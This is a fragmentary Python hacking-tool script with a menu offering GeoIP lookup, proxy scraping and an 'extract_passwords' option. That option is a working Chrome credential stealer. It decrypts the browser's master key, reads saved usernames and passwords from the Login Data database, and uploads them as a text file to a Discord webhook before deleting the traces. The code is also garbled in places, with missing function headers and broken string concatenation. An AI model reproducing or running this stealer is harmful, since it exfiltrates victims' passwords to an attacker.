local_state_path = os.path.join(os.environ["USERPROFILE"],

"AppData", "Local", "Google", "Chrome",

"User Data", "Local State")

with open(local_state_path, "r", encoding="utf-8") as f:

local_state = f.read()

local_state = json.loads(local_state)

# decode the encryption key from Base64

key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

# remove DPAPI prefix

key = key[5:]

# return decrypted key that was originally encrypted

# using a session key derived from current user's logon credentials

# doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html

try:

# get the initialization vector

iv = password[3:15]

password = password[15:]

# generate cipher

cipher = AESGCM(key)

# decrypt password

return cipher.decrypt(iv, password, None).decode()

except:

try:

return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])

except:

# not supported

"""Sends a text file with the login details to Discord and returns True if successful"""

# create a text file with the logins

with open("ChromeLogins.txt", "w", encoding="utf-8") as f:

for login in logins:

f.write(f"Origin URL: {login['Origin URL']}\n")

f.write(f"Action URL: {login['Action URL']}\n")

f.write(f"Username: {login['Username']}\n")

f.write(f"Password: {login['Password']}\n")

if "Creation Date" in login:

f.write(f"Creation Date: {login['Creation Date']}\n")

if "Last Used" in login:

f.write(f"Last Used: {login['Last Used']}\n")

f.write("\n")

# send the text file to Discord via the webhook

with open("ChromeLogins.txt", "rb") as f:

file_data = {"file": ("ChromeLogins.txt", f)}

response = requests.post(WEBHOOK_URL, files=file_data)

# delete the text file

os.remove("ChromeLogins.txt")

if os.path.isfile("ChromeLogins.txt"):

with open("ChromeLogins.txt", "r", encoding="utf-8") as f:

if f.read():

# The passwords have already been extracted and sent to Discord

return

# get the AES key

key = get_encryption_key()

# local sqlite Chrome database path

db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",

"Google", "Chrome", "User Data", "default", "Login Data")

# copy the file to another location

# as the database will be locked if chrome is currently running

filename = "ChromeData.db"

shutil.copyfile(db_path, filename)

# connect to the database

db = sqlite3.connect(filename)

cursor = db.cursor()

# `logins` table has the data we need

cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")

# iterate over all rows

logins = []

for row in cursor.fetchall():

origin_url = row[0]

action_url = row[1]

username = row[2]

password = decrypt_password(row[3], key)

date_created = row[4]

date_last_used = row[5]

if username or password:

# Add the login details to the list

login = {

"Origin URL": origin_url,

"Action URL": action_url,

"Username": username,

"Password": password,

}

if date_created != 86400000000 and date_created:

# Add the creation date to the same login details

login["Creation Date"] = str(get_chrome_datetime(date_created))

if date_last_used != 86400000000 and date_last_used:

# Add the last used date to the same login details

login["Last Used"] = str(get_chrome_datetime(date_last_used))

logins.append(login)

cursor.close()

db.close()

try:

# try to remove the copied db file

os.remove(filename)

except:

pass

# send the logins to Discord as a text file and delete the file after sending

success = send_discord_text_file(logins)

if success:

# Create an empty file to mark that the passwords have been extracted and sent to Discord

with open("ChromeLogins.txt", "w", encoding="utf-8") as f:

f.write("Passwords have been extracted from Chrome and sent to Discord")

# Delete the file after sending it to Discord

ip_input = input(' IP> ')

response = requests.get("http://extreme-ip-lookup.com/json/" ip_input)

response.json()

pprint(response.json())

time.sleep(10)

r = requests.get('https://api.proxyscrape.com/?request=getproxies&proxytype=http')

print(r.text)

p_type = input(' Type> ')

p_timeout = input(' Timeout> ')

f"https://api.proxyscrape.com/?request=getproxies&proxytype={p_type}&timeout={p_timeout}"

with open('proxies.txt', 'w', encoding="utf-8") as f:

f.write(r.text)

print('The proxies have been saved to \033[31m`proxies.txt`')

time.sleep(5)

def __init__(self):

self.gg = True

self.r = '\033[31m'

self.g = '\033[32m'

self.y = '\033[33m'

self.b = '\033[34m'

self.m = '\033[35m'

self.c = '\033[36m'

self.w = '\033[37m'

self.rr = '\033[39m'

self.cls()

self.start_logo()

self.options()

while self.gg == True:

choose = input(str(' @> '))

if(choose == str(1)):

self.cls()

self.start_logo()

GeoIP()

elif(choose == str(2)):

self.cls()

self.start_logo()

scraper()

elif(choose == str(3)):

self.cls()

self.start_logo()

extract_passwords()

def cls(self):

linux = 'clear'

windows = 'cls'

os.system([linux, windows][os.name == 'nt'])

def start_logo(self):

clear = "\x1b[0m"

colors = [36, 32, 34, 35, 31, 37]

x = """

████████╗███████╗███████╗████████╗

╚══██╔══╝██╔════╝██╔════╝╚══██╔══╝

██║ █████╗ ███████╗ ██║

██║ ██╔══╝ ╚════██║ ██║

██║ ███████╗███████║ ██║

╚═╝ ╚══════╝╚══════╝ ╚═╝

"""

for N, line in enumerate(x.split("\n")):

sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))

time.sleep(0.05)

def options(self):

print(self.y ' [1] ' self.c ' GeoIP')

print(self.y ' [2] ' self.c ' Proxy Scrape')